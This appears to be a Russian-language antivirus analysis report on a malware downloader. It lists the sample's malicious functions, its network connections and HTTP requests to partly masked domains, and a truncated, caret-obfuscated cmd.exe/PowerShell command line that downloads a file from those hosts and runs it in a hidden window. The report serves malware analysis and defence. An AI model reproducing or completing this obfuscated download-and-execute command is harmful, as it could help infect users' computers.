Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^s^e^t ^Q^o=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hct^ac^}^;^k^aerb;^j^a^G^$^ ^m^e^t^I^-^e^k^ovn^I^;)^j^aG^$^ ^,M^B^K^$(^e^l^i^F^d^a^oln^w^o^D^.^qv^i^$^{yr^t^{)cRr^$^ n^i ^MB^K^$(^h...
Сетевая активность
Подключается к
- 'he####cordova.com':80
- 'te##ark.com':80
- 'li###lastie.fr':80
TCP
Запросы HTTP GET
- http://he####cordova.com/nlapXvljXX
- http://te##ark.com/NqHoLmp
- http://li###lastie.fr/wp-content/uploads/Zs4v61ezxs
UDP
- DNS ASK he####cordova.com
- DNS ASK te##ark.com
- DNS ASK so###laslam.com
- DNS ASK li###lastie.fr
- DNS ASK ga###boyd.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^s^e^t ^Q^o=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hct^ac^}^;^k^aerb;^j^a^G^$^ ^m^e^t^I^-^e^k^ovn^I^;)^j^aG^$^ ^,M^B^K^$(^e^l^i^F^d^a^oln^w^o^D^.^qv^i^$^{yr^t^{)cRr^$^ n^i ^MB^K^$(^h...' (со скрытым окном)
